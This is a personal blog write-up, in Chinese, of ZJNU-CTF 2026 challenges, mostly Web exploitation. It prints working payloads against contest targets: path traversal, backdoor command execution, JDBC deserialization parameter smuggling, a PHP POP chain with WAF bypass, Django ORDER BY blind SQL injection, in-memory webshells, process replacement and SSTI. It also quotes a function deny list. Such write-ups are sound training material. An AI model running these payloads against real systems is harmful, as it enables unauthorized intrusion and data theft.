mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
2414 字
7 分钟
ZJNU-CTF 2026
2026-06-22

呃啊啊啊,总算想起还有个博客了嘛

这篇算是校赛回顾吧,题目很有意思…Web做得头大。。。

[Web] Texas Hold’em#

Texas 发现日志读取接口存在存在路径穿越(/read?name=../../../etc/passwd),使用../../../app/app.jar下载程序。 read jadx分析发现后门端口(/api/game/evalTest),但java的runtime无法使用重定向符号,采用管道符base64。这里有个很好用的工具,在这里(https://sec.lintstar.top/Java-shell.html)。那么直接将flag写入/tmp/a,然后读取就可以啦: eval

http://ctf.a1natas.com:29678/api/game/evalTest?cmd=bash%20-c%20%7Becho%2CY2F0IC9mbGFnXzJiZGY5YzI5MjA5ODg4M2IzOGVhNzM2YzkxNDBiNGY0ID4gL3RtcC9h%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

[Web] Ghost poker#

这题是上一题的升级版,没有后门接口了,日志接口的目录穿越也没了。不过这个名字就很有来头,联想到Ghost Bytes,使用中文编码值绕过过滤,下载到jar包。

找了个exp,嗯就用这个吧:阮阮丯阮阮丯阮阮丯乡奰奰丯乡奰奰阮陪乡乲,解码后是../../../app/app.jar

jadx分析一下,和原题有几处不同。多了jdbc

@GetMapping({"/api/game/databaseTest"})
public String databasetest(@RequestParam(value = "url", required = false) String url, @RequestParam(value = "user", required = false) String username, @RequestParam(value = "pass", required = false) String pass, @RequestParam(value = "dbname", required = false) String dbname) throws SQLException, ClassNotFoundException {
if (isBlank(url) || isBlank(username) || isBlank(pass) || isBlank(dbname)) {
return "Something is Wrong? Missing required parameter";
}
List<String> forbidden = Arrays.asList(PropertyDefinitions.PNAME_autoDeserialize, PropertyDefinitions.PNAME_allowLoadLocalInfile, PropertyDefinitions.PNAME_socketFactory, PropertyDefinitions.NAMED_PIPE_PROP_NAME, PropertyDefinitions.PNAME_allowUrlInLocalInfile, "statementInterceptors");
List<String> configs = Arrays.asList(url, username, pass, dbname);
for (String config : configs) {
for (String f : forbidden) {
if (config.toLowerCase().contains(f.toLowerCase())) {
throw new IllegalArgumentException("Forbidden option: " + f);
}
}
}
String jdbcurl = "jdbc:mysql://" + url + "/" + dbname + "?allowPublicKeyRetrieval=false&useSSL=false&autoDeserialize=false&allowLoadLocalInfile=false&user=" + username + "&password=" + pass;
if (this.scoreFileService.Database_Test(jdbcurl)) {
return "TestPass!";
}
return "Oh! wrong!";
}

jdbc

容器不出网!常规的JDBC打法都是连接FakeServer进行反序列化RCE,或者读文件,或者SSRF。这题明确需要RCE,而且autoDeserialize还是false。不过搜到了JDBC不出网的打法,即通过socketFactory传入流量包文件。文章原文在这里:https://xz.aliyun.com/news/17830。

也就是说,需要真实抓一次数据包。这篇文章提到的方法是用WireShark,这干扰有点大啊,很难抓干净。复现时学长丢给我这个项目:https://github.com/AsaL1n/Jdbc2bin,代理MySql端口并且捕获流量。

本地用CC3.2.1测试一下,结果如图,注意观察url的host和port,都是xxx:

题目的/api/game/submit接口可以上传任意文件,那还有个问题,jdbcurl参数怎么办?

String jdbcurl = "jdbc:mysql://" + url + "/" + dbname + "?allowPublicKeyRetrieval=false&useSSL=false&autoDeserialize=false&allowLoadLocalInfile=false&user=" + username + "&password=" + pass;

既然是拼接,那pass参数就可能可以覆盖前面的参数。有一个input.toLowerCase().contains(keyword)的过滤,但可以用URL编码绕过。尝试给pass传入x&auto%44eserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socket%46actory=com.mysql.cj.protocol.Named%50ipe%53ocket%46actory&named%50ipe%50ath=files/history/{sha256}.json(这个不对,还是不行,一会ping一下学长…)

通的是通的啊,傻逼Hackbar自动解码。

x&auto%44eserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socket%46actory=com.mysql.cj.protocol.Named%50ipe%53ocket%46actory&named%50ipe%50ath=/Users/chao/Downloads/namedpipe_payload.bin

aa%26aut%256fDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26socketFactory=com.mysql.cj.protocol.NamedPipe%2553ocketFactory%26namedPipePath=/Users/chao/Downloads/namedpipe_payload.bin

aa&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=/Users/chao/Downloads/namedpipe_payload.bin

靶机走低版本JK链就可以通。

[Web] tarot_site#

分析前端逻辑

const mirror = (box) => {
if (Array.isArray(box)) return box.map(it => typeof it === "string" ? it : (it && it.id)).filter(Boolean);
if (box && Array.isArray(box.ids)) return box.ids.map(it => typeof it === "string" ? it : (it && it.id)).filter(Boolean);
if (box && typeof box.id === "string") return [box.id];
return [];
};
const gate = (ids, token) => token === ((document.title.length ^ ids.length) ^ 19);
const hasCore = ids => ids.some(id => id === `M-${[1,9].join("")}`);
const reveal = async (ids, token) => {
const res = await fetch("./api/orrery.php", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ ids, token })
});
const data = await res.json().catch(() => ({}));
alert(data.flag);
};
const api = {};
Object.defineProperty(api, ["se","tt","le"].join(""), {
value(box, token){
const ids = mirror(box);
if (!ids.length || !gate(ids, token) || !hasCore(ids)) return false;
reveal(ids, token);
return true;
},
enumerable: false
});
return Object.freeze(api);
})();
Object.defineProperty(window, "__orrery", {
value: __orrery,
writable: false,
configurable: false,
enumerable: false
});

这题居然卡了半个小时😭打断点调试 或者 控制台手动跑一下,结果手动发包怎么都不对,最后才发现ids是数组..:

{"ids":["M-19"],"token":28}
flag{I_4m_my_#wN_sUn}

[Web] Ex-otogibanashi#

前两关存在非预期,可以直接跳过。一个简单的反序列化。ban了一些函数,不过字符串拼接就可以过。PHP版本是5.5,低版本在字符串拼接和动态函数调用确实不太一样。还有就是parse_str函数从php 8.0开始必须传入数组了。低版本可以直接创建变量来覆盖链条逻辑。

<?php
error_reporting(0);
class hachiyo {
public $hito;
public function __wakeup() {
echo "return to 8000 years ago,again.\n";
$this->hito = null;
}
public function __destruct() {
if ($this->hito instanceof iroha) {
$this->hito->run();
}
}
}
class iroha {
private $dream;
public function __construct() {
$this->dream = new kaguya();
}
public function run() {
$this->dream->execute();
}
}
class kaguya {
public $kotoba;
public $leave;
public $return;
private function waf($code) {
$code = strtolower($code);
$code = preg_replace('/\s+/', '', $code);
$deny = array(
'flag',
'system',
'exec',
'passthru',
'shell_exec',
'popen',
'proc_open',
'proc_get_status',
'proc_terminate',
'pcntl_exec',
'assert',
'eval',
'include',
'include_once',
'require',
'require_once',
'readfile',
'file_get_contents',
'file_put_contents',
'fopen',
'fclose',
'fread',
'fwrite',
'highlight_file',
'show_source',
'scandir',
'glob',
'opendir',
'readdir',
'unlink',
'rename',
'copy',
'touch',
'chmod',
'chown',
'base64_decode',
'gzuncompress',
'str_rot13',
'phpinfo',
'curl_exec',
'curl_multi_exec',
'data://',
'php://',
'phar://',
'`'
);
foreach ($deny as $word) {
if (strpos($code, $word) !== false) {
return false;
}
}
if (preg_match('/[{}\\[\\]<>\\$]/', $code)) {
return false;
}
return true;
}
public function execute() {
if (md5($this->leave) == md5($this->return) && $this->leave != $this->return) {
if (!$this->waf($this->kotoba)) {
die("I will be your side,maybe. \n");
}
eval($this->kotoba);
echo "<br>";
echo "True Happy Ending.CONGRATCULATIONS!\n";
} else {
die("I wish i can be your side.\n");
}
}
}
if (isset($_POST['data'])) {
$data = $_POST['data'];
if (strlen($data) > 200) {
die("too long");
}
unserialize($data);
} else {
highlight_file(__FILE__);
}

有private变量,自己处理%00往往是会出事的,考虑直接用__construct来构建链条。绕过__wakeup是那个常见的cve,把第一个class的数量改成超过实际数量即可,这里2就行。

但是调了非常非常久啊,我看隔壁PWN手都出了,直接触发能通,本地的server就是不行。一直是这样啊😭

Notice: unserialize(): Unexpected end of serialized data in /Users/chao/ctf/ZJNU/WEB/Ex-otogibanashi/index.php on line 123
Notice: unserialize(): Error at offset 191 of 192 bytes in /Users/chao/ctf/ZJNU/WEB/Ex-otogibanashi/index.php on line 123

然后靶机试了一下居然通了(?)好奇怪,好奇怪,未解之谜。。。

exp:

<?php
class hachiyo {
public $hito;
public function __construct() {
$this->hito = new iroha();
}
}
class iroha {
private $dream;
public function __construct() {
$this->dream = new kaguya();
}
}
class kaguya {
public $kotoba;
public $leave;
public $return;
public function __construct() {
$this->leave = "240610708";
$this->return = "QNKCDZO";
$this->kotoba = "call_user_func('syst'.'em', 'cat /fl*');";
}
}
$a = new hachiyo();
echo urlencode(serialize($a));
unserialize(serialize($a));

不一定要用call_user_func绕过,异或也可以。举个例子:

$a = ('!'^'@').'ssert';
$a('php'.'info();');

Auth Django (CVE-2026-1312)#

题目#

题目很有意思,链条也比较长。第一步是JWT伪造,直接略过吧。题目有双重登录,拿到admin权限后可以查询alias name。这里结合CVE进行一个注入,拿到backend访问权限,获得python eval能力,无回显提取flag。

JWT 伪造 → SQL 盲注提权 → 后台登录 → eval RCE(无回显) → 读 flag

其实这个SQL注入的CVE在看了学长的文章https://void2eye.top/posts/cve-2026-1312-django%E5%A4%8D%E7%8E%B0/)后就茅塞顿开了,但是比较有意思的是如何在无回显的情况下拿到flag。赛后想了5种方法并复现了一下

方法原理备注
写模板修改模板文件,DEBUG 模式热加载最简单,一行文件写入,仅 DEBUG=True 有效
写数据库eval 写 flag 到 SQLite,盲注回读应该是最稳定的,需要报错得知数据库路径
内存马monkey patch 已有路由的 callback无文件落地,但是中间件限制了添加路由
execvp 接管端口原地替换 worker 进程为 http.server直接浏览文件系统,这是好事啊
侧信道盲注有 200/400 就能注这个感觉也不错啊,用不着那么绕

CVE-2026-1312 SQL 盲注#

题目场景#

伪造JWT登录后,访问/data?name=<alias>data 可控的是alias name,默认填入的是user,拼接出来的SQL是:

SELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" INNER JOIN "src_group" user ON ("src_user"."author_id" = user."id") ORDER BY user."id" ASC

漏洞原理#

data_view 中用户输入 name 直接作为 FilteredRelation 的别名和 order_by 字段:

crafted = request.GET.get("name", "user")
query = QueryUser.objects.alias(**{crafted: relation}).order_by(crafted)

Django 编译 SQL 时,在 _order_by_pairs() 中存在关键判断:

if "." in field:
# 认为是 extra(order_by=...) 传入的原始 SQL,直接拼接
table, col = col.split(".", 1)
yield OrderBy(
RawSQL("%s.%s" % (self.quote_name_unless_alias(table), col), []),
descending=descending,
)
continue # 跳过后续的别名引用计数

这里最关键的就是,当别名包含 . 时,Django认为传入的就不是别名,直接跳过了这个join,直接拼接到sql语句中去了。

Django 的 FORBIDDEN_ALIAS_PATTERN 禁止了 ' ` " [] ; 空白 # -- /* */,但允许 .()*-、字母、数字,有点有括号,那就很方便了其实。

盲注 Payload 结构#

这个是学长文章里给出的payload,写的是非常精妙啊,利用排序来盲注。

src_user.id*(1-2*( {SQL} ))

result 如果查询为真,ORDER BY id*1 ASC,就是正序(首行 id=4);如果查询为假,ORDER BY id*(-1) ASC,那就是逆序(首行 id=6)

SELECT(UNICODE(SUBSTR(password,{pos},1))>{mid})
FROM(user_profile)
LIMIT(1)

注入提取Backend账号密码#

由于是Sqlite,提取表名还是很方便的,这个sqlite_master太强大了。

FROM(sqlite_master)WHERE(type=char(116,97,98,108,101))LIMIT(1)

套一个二分模板

def bchar(template, pos):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if check(template.format(p=pos, m=mid)):
lo = mid + 1
else:
hi = mid
return chr(lo) if 32 < lo <= 126 else None

逐字符二分搜索,提取到 user_profile 表中的凭据:

username: backend_admin
password: Q7mK2pL9

Python 无回显 eval RCE#

登录 /backend/login,可以访问/backend/run,执行python eval。看起来没有限制,不过回显是有200、400。

通过 base64 编码避免特殊字符问题:

/backend/run?expression=exec(__import__('base64').b64decode('<base64_payload>'))

后面拿到源码了,是长这个样子。那么接下来就是想看看,这样的场景下,如何提取flag。

def backend_run_view(request):
expression = request.GET.get("expression", "")
try:
result = eval(expression)
except Exception as exc:
return HttpResponse(f"error in your expression!", status=400)
return HttpResponse(f"success")

1. 写模板文件#

Django 在 DEBUG=True 模式下,模板加载器不会缓存模板文件,每次请求都会从磁盘重新读取。所以只需修改模板文件,刷新页面就可以看到flag。

t = open('/app/templates/backend.html').read()
flag = open('/flag').read()
t = t.replace('</h1>', '</h1><!-- ' + flag + ' -->', 1)
open('/app/templates/backend.html', 'w').write(t)

write

不过貌似不是预期解,学长说他下次要关掉DEBUG..


2. 写数据库回读#

eval 可以通过 sqlite3 模块直接操作 Django 的数据库文件。将 /flag 内容写入刚刚/data页面有result输出的表,刷新一下就能看到。或者随便写,然后再盲注。

import sqlite3
f = open('/flag').read()
c = sqlite3.connect('/app/db.sqlite3')
c.execute('UPDATE src_group SET profile_content=? WHERE name=?', (f, 'user'))
c.commit()

3. 内存马#

这可能是预期解?因为特意做了中间件限制

绕过中间件#

中间件会检测len(urlpatterns),所以直接urlpatterns.append()添加路由行不通。

class RouteGuardMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def _get_patterns(self):
resolver = get_resolver()
module = importlib.import_module(resolver.urlconf_name)
return module.urlpatterns
def __call__(self, request):
patterns = self._get_patterns()
before_len = len(patterns)
response = self.get_response(request)
patterns = self._get_patterns()
after_len = len(patterns)
if after_len > before_len:
diff = after_len - before_len
del patterns[before_len:after_len]
return HttpResponse(
f"🚫 Forbidden! You tried to add {diff} route(s).",
status=403
)
return response

这里有两种方式,可以patch掉中间件绕过检查;也可以替换已有路由的callback,把自己新建的函数对象赋值过去。

A. Patch 中间件#

让中间件直接返回

import src.middleware
src.middleware.RouteGuardMiddleware.__call__ = lambda self, req: self.get_response(req)

此时整个检查就没了,注入 shell 路由。噢噢然后有一个坑点,在 eval 是局部作用域,得用 __import__("os").popen(cmd).read()

import src.urls
from django.urls import get_resolver
from django.http import HttpResponse
def shell(request):
cmd = request.GET.get("cmd", "id")
return HttpResponse(__import__("os").popen(cmd).read())
src.urls.urlpatterns.append(path("shell", shell))
get_resolver.cache_clear()

访问 http://target/shell?cmd=cat /flag 即可获取 flag。

B. 直接修改 URLPattern 的 callback#

也可以直接替换已有路由的回调函数

import src.urls
from django.http import HttpResponse
def shell(request):
cmd = request.GET.get("cmd")
return HttpResponse(__import__("os").popen(cmd).read())
for p in src.urls.urlpatterns:
if hasattr(p, 'name') and p.name == 'backend':
p.callback = shell
break

4. os.execvp 替换进程#

一开始的思路是直接杀死旧进程,然后在同一个端口上开一个http.server,直接目录遍历。不过 Django runserver 默认启用 auto-reloader,而且是由docker的exec启动,pid=1,子进程被父进程维护着,会自动重启。如果杀了pid=1,docekr估计也会重启。

kill test

不过可以用 os.execvp() 将 Django worker 进程直接替换为 http.server,直接接管同一端口,获得文件系统浏览能力。

来点AI补充的细节:

Python 3.4+ 的 socket 默认设置 SOCK_CLOEXECexecvp 时旧的 server socket 自动关闭。Python 的 http.server 设置了 allow_reuse_address = TrueSO_REUSEADDR),可以在旧 socket 关闭后立即重新绑定同一端口。

还有一个问题,我不知道端口啊。那既然容器环境很干净,直接读Linux虚拟文件系统就可以了。从 /proc/net/tcp 解析 LISTEN 状态的 socket,获取实际监听端:

import os
port = "8000"
for f in ("/proc/net/tcp", "/proc/net/tcp6"):
for line in open(f):
p = line.split()
if len(p) > 3 and p[3] == "0A": # 0A = LISTEN
port = str(int(p[1].split(":")[1], 16))
break
if port != "8000":
break
os.chdir("/")
os.execvp("python3", ("python3", "-m", "http.server", port))

/proc/net/tcp 每行格式为 local_address rem_address st ...,其中 local_addressIP:PORT 的十六进制表示(如 00000000:19971997 hex = 6543 dec),st = 0A 表示 LISTEN 状态。遍历 /proc/net/tcp/proc/net/tcp6,找到 LISTEN 的 socket 即为当前服务监听端口。

Base64 编码后通过 eval 注入:

/backend/run?expression=exec(__import__('base64').b64decode('aW1wb3J0IG9zCnBvcnQgPSAiODAwMCIKZm9yIGYgaW4gKCIvcHJvYy9uZXQvdGNwIiwgIi9wcm9jL25ldC90Y3A2Iik6CiAgICBmb3IgbGluZSBpbiBvcGVuKGYpOgogICAgICAgIHAgPSBsaW5lLnNwbGl0KCkKICAgICAgICBpZiBsZW4ocCkgPiAzIGFuZCBwWzNdID09ICIwQSI6CiAgICAgICAgICAgIHBvcnQgPSBzdHIoaW50KHBbMV0uc3BsaXQoIjoiKVsxXSwgMTYpKQogICAgICAgICAgICBicmVhawogICAgaWYgcG9ydCAhPSAiODAwMCI6CiAgICAgICAgYnJlYWsKb3MuY2hkaXIoIi8iKQpvcy5leGVjdnAoInB5dGhvbjMiLCAoInB5dGhvbjMiLCAiLW0iLCAiaHR0cC5zZXJ2ZXIiLCBwb3J0KSkK'))

dir

5. 侧信道盲注#

既然能区分命令执行结果的成功、失败情况,那么就可以二分盲注了。

1/True会返回200,1/False会返回400。

def check(pos, mid):
expr = f"1/(open('/flag').read()[{pos}]>chr({mid}))"
r = requests.get(f"{TARGET}/backend/run", params={"expression": expr}, cookies=COOKIES, timeout=10)
return r.status_code == 200
def extract():
flag = ""
for pos in range(200):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if check(pos, mid):
lo = mid + 1
else:
hi = mid
if lo <= 32 or lo > 126:
break
flag += chr(lo)
print(f"\r flag: {flag}", end="", flush=True)
print(f"\n[+] Done! flag = {flag}")

这里的表达式是expr = f"1/(open('/flag').read()[{pos}]>chr({mid}))",那么更进一步,实际上可以直接转化为一个shell:

expr = f"1/(len(__import__('os').popen('{cmd}').read())>{pos})"

blind_exec

效果也是非常不错的。不过真的很慢了,一秒钟蹦出一个字符。

[MISC] superlative render#

Pyramid最原生的模板是Chameleon,看文档发现可以内联写python表达式,构造reduce_ex链,通过getattribue绕过waf。

<div>
<?python out = [].__reduce_ex__(2)[0].__getattribute__('__glo'+'bals__')['__built''ins__']['__imp''ort__']('os').__getattribute__('po'+'pen')('cat /flag').read() ?>
${out}
</div>

[MISC] 可爱的亚托莉#

AI题,好感度高到一定程度自己会出。据说接的是GPT-5.4,常规的提示词注入估计行不通。

[Crypto] Railfence#

c:fgoywlvfd}l{poiheua@aheulaany@
hint:dGhlIHJhaWxmZW5jZSBjaXBoZXI6IDM=

hint是the railfence cipher: 3

把文本按3行排布后再按行读出,稍有不同,但组合一下也能猜出来:

flag{hopeyouwillhaveafunday}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ZJNU-CTF 2026
https://blog.chaomixian.top/posts/zjnu-ctf-2026/
作者
炒米线
发布于
2026-06-22
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录